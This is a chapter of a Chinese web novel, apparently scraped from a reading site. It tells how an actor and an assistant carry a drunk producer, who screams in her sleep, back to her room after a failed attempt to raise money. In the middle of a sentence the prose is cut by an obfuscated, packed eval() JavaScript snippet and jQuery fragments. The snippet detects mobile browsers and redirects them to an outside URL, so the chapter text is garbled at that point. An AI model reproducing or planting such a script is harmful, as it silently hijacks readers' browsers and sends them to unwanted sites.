默认冷灰
24号文字
方正启体

17. 不要吵我

作者:小羊stan本书字数:K更新时间:
    他们之间的下一次“约跑”,却遥遥无期。


    剧组的工作强度提升,连续几天的密集拍摄,让所有人都很疲惫。


    好几次,徐立都有点压不住火,片场有人想顶嘴,看看他布满血丝的眼睛和嘴角的泡,也都不好再说什么。


    江启敖的日程主要集中在拍戏和武训,剩下的时间就是蹲守在片场,观察研究陈修杰和邹驰几个实力派的表演,反复练习台词。


    好哥们儿尚昀像是跟他较劲似的,除了跟他挤着琢磨戏,收工也不肯休息,总要在房间苦练一阵手风琴才睡。只是乐器大抵还是需要有几分天赋,尚昀纵然刻苦,琴艺却不敢恭维,琴声快时好似惊驴狂叫,慢时好似哮喘病人咳老痰。一首《青春舞曲》在他手里如泣如诉,好不悲凉。


    这就苦了隔壁的江启敖。


    不堪噪音折磨,在没等来跑步邀约的日子里,他经常在附近转悠,估摸着尚昀拉琴尽兴了,再回房间洗漱睡觉。


    这几天都没有见到迟若霓。


    她本人行踪不会宣之于众,江启敖正苦于如何打听之际,阿磊带回了消息。


    “听说最近好像有公司撤资,霓姐出去筹钱了,”阿磊讲起八卦总是兴头十足:“拍电影可真是烧钱哇!”


    江启敖正在洗脸,听完站在洗手台边,脸上的水珠都没顾得上擦,沉思了好一阵子。


    他后知后觉,隐约明白了迟若霓口中的“安安稳稳把戏拍好”是什么意思:远非作为演员,兢兢业业入戏拍戏那么简单。


    有公司撤资了。


    这无疑是个很糟糕的消息,迟若霓需要拉投资。但怎么拉,具体做些什么,江启敖毫无概念。


    没多久,他便有机会窥得一二。


    这天晚上,江启敖在隔壁健身馆刚做完训练,正要上楼,看见宾馆侧门停了辆商务轿车。


    汽车不停正门停侧门,这本就十分可疑,江启敖再瞄一眼车牌号,发觉有几分眼熟,便停住不做声地观察。


    副驾先跳下了一个瘦小的女人,左右观察两眼,随后转一圈来到里侧,快速地拉开了车门。


    江启敖从车门的缝隙里,认出了躺在座椅上头发蓬乱的迟若霓。


    他眼皮一跳,快步跟了上去。


    看了一眼,江启敖的眉头立刻皱成一团。


    商务车里弥漫着浓重的酒味,迟若霓看上去已经人事不省,脸色苍白,紧闭着眼睛,一只手被助理拉扯着,另一只手里还攥着手机。


    “怎么搞的?”江启敖挤到前面,低声问迟若霓的助理小茹。


    “晚上有酒局,拦不住,出来就已经这样了。”小茹比迟若霓瘦小一圈,又拖又拽累得满头汗,看见江启敖,仿佛见了救星:“小江,还得麻烦你帮忙搭把手把她弄上去,动作快点!”


    不必她交待,江启敖已经把人抱了下来。


    车上还有很多乱七八糟的东西,女式皮包,外套,呕吐袋,矿泉水瓶,成团的纸巾,充电宝……小茹在一旁火急火燎地收拾。


    夏末秋初,晚上的风已经卷着些凛冽的凉意,江启敖没有耽搁,大步流星抱着迟若霓走到了室内。


    她大概最近没有休息好,尽管有化妆品遮盖,仍能看见眼眶下面两团阴影,眉毛拧着,鼻梁上有细密的汗珠。江启敖感觉到胳膊触碰到的皮肤很烫,她的汗水濡湿了头发,像刚跑完步似的,散乱地粘在脸上。


    江启敖试了试,没有吹开。


    这样的迟若霓不风光,也不体面,但看了让人很心疼。


    江启敖低头盯着看了一会儿,小声叫她:“迟老师。”


    迟若霓似是听见了,眉毛拧得更紧了,呼吸急促,但并没有睁眼。


    小茹收拾好了东西,快步跟了过来,拎着大包小包对江启敖说:“我们坐西边电梯,慢是慢了点,人少,免得有心人看见借题发挥。”


    江启敖点头。


    剧组就是个小社会,最易搅弄风波。让人撞见他半夜三更和醉酒的迟若霓在一起,第二天不一定编排出什么流言蜚语,万一再被拍到照片,截吧截吧搞不好还会弄出点绯闻。


    他一个小咖倒是其次,影响电影就麻烦了。


    但这个电梯实在有点慢得过头。


    江启敖正仰头看着屏幕上那串数字往下蹦,忽然感觉衣领一紧,喘不上气。


    他低头看,是被迟若霓揪住了胸口的布料。


    她依然没有醒。


    迟若霓似乎陷入了极度的痛苦之中,额头满是豆大的汗珠,眼睑还紧闭着,睫毛在快速地颤动,手揪得很用力,整个身体几乎僵直。


    江启敖感觉这状态不对劲,又叫了一声:“迟老师?”


    迟若霓没有给他反馈。


    江启敖看向小茹:“她这是怎么了?”


    小茹面色焦虑地又按了一遍电梯按钮:“做噩梦吧。她压力大的时候就会这样,我们快点上……”


    她的话没说完,便被一阵尖叫声打破。


    江启敖难以置信地低头。


    是迟若霓在叫。


    她没醒,这症状像是发癔症,两眼紧闭,手死命揪着江启敖的衣服,只是一味地用力叫喊。


    江启敖没见过这阵仗,第一反应是捂她的嘴,但两手抱着人,实在没有更多手可以用,瞪眼问小茹:“怎么让她闭嘴?”


    小茹:“我也不知道呀!”


    走廊里传来一阵杂乱的脚步声,大概是保安听见了动静,一个粗哑的声音远远问:“谁搁那叫唤什么呢?”


    电梯仍没到,这样下去非惊动更多人不可。


    “这破电梯怎么这么慢!”小茹狂按电梯按键,声音紧张得有点抖。


    “撤。”江启敖当机立断,抱着迟若霓径直右转,一边对小茹道:“绕一圈南边还有个货梯。”


    小茹立刻跟上,两人步履匆匆,赶在保安到来之前挤进了残破的货梯,迅速关门按下楼层。


    电梯徐徐上升,迟若霓也停止了尖叫。


    江启敖终于松了口气,他后背已经满是汗水,顾不上计较货梯里布满脏污的防护木板,靠上去,低头看着迟若霓,半晌,抬头问小茹:“……她到底是怎么回事?”


    “不清楚……霓姐睡眠不好,看着像是做噩梦。”小茹含混地说:“做梦嘛,什么反应都有可能。”


    “正常人做噩梦不这样。”江启敖眼神犀利:“你刚才说她可能是压力导致的应激。”


    电梯里温度不低,但小茹不由打了个寒颤。


    见多了江启敖在片场的样子,总捧着个剧本磨台词,偶尔跟尚昀说说笑笑,她认为不过是个性格偏冷的酷哥。


    而刚才一句话之间,她突然发觉江启敖和余彦竟然有些相似,板起面孔有种可怖的压迫感。


    “嗯……这毕竟是霓姐的私事,所以……”


    江


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138981|180391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    启敖语气和缓,却不容置疑:“我需要知道她怎么了,必要的话及时送医。”


    电梯空间逼仄,本就很是压抑,再迎上对方刀子似的眼神,小茹简直芒刺在背,正犹豫要如何搪塞,听见了迟若霓虚弱的声音:“江启敖。”


    江启敖马上就豹子变了猫:“嗯。”


    迟若霓眼皮子都懒得撩开,闭着眼用几不可闻的声音说:“不去医院,有话问我,别为难我助理。”


    “霓姐!”小茹简直要哭出来,看见救世主似的抓住她的手:“这会儿怎么样了?”


    迟若霓不想说话,一张嘴,胃里那点东西好像马上就要顺着喉咙爬出来,但她更受不了手被小茹抓着乱晃,癫得她更加难受,故而闭气缓了会儿才回:“还没死。”


    ……


    另俩人听见这噎人的话,一时面面相觑,不知该如何作答。而迟若霓也对于这片刻的安宁感到很满意,便又补充:“你俩都闭嘴,不要吵我。”


    于是小茹和江启敖双双陷入沉默,委屈且安静地护送迟若霓回了房间。


    进了屋,江启敖先把人安置在了沙发。


    迟若霓喝多了酒,又被江启敖抱着颠簸一路,进了房间,精神有所放松,浑身的不适也紧跟着争先恐后往上涌。她人还没坐稳,先抱着垃圾桶就是稀里哗啦一阵狂吐。


    小茹忙里忙外帮她束起头发,轻拍后背。江启敖不好近身,就转头去帮忙接水,拿湿巾。


    大概因为先前已经吐了太多次,除了胆汁,迟若霓并没真正呕出来什么东西。


    江启敖倚着门冷眼看着,有种不熟悉的烦躁情绪在不停翻滚。迟若霓显然有什么问题,做噩梦的时候跟被人掐了脖子似的,这绝不是一句压力大或者酒喝多了就能解释的。


    直等到迟若霓状态稳定了些,江启敖坐到了对面,推过去一杯刚倒上的温水:“缓缓。”


    迟若霓脸上呈现着脱了水的惨白,或许是吐过的原因,似乎清醒了不少。她很配合地接过水漱口,用纸巾擦擦脸颊,慢慢轮转着眼球看向了江启敖。


    “江启敖。”


    江启敖第一次听见迟若霓如此虚弱的声音,不自觉也轻声应道:“嗯。”


    “不算什么毛病,酒品不好,见笑了。”她手抠着沙发边,露出一个惨淡的笑容:“别往外瞎传。”


    江启敖沉沉地盯着她看了一会儿,闷声道:“我有数。”


    “小茹。”迟若霓点兵似的又叫小茹。


    “哎。”


    江启敖观察着两人的脸色,随时准备回避。未料迟若霓并没有避开他的意思,捂着头坐了一会儿,说:“临走的时候,我记着王幸霖答应了投资。”


    小茹积极地回答:“是啊,不光说要投,还说投就得投个响,至少两千万。”


    迟若霓的反应却没有那么乐观:“听他吹吧,老骗子,从他嘴里掏钱跟要命似的,才不可能这么多。”她沉吟着问:“他最后说下次什么时候见面?”


    这话把小茹问愣了:“没有提见面呀……他就叮嘱我要送你安全回来。”


    迟若霓轻轻地叹息了一声。


    酒局如赌局,这场赌局的输赢已经显而易见,迟若霓这一宿腆着脸陪笑,是竹篮打水一场空。白忙活了。


    “都回去吧。”她像是终于被疲倦击倒,肩膀塌下去,一只手盖住眼睛,朝他们摆了摆手:“没事,让我一个人静静。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)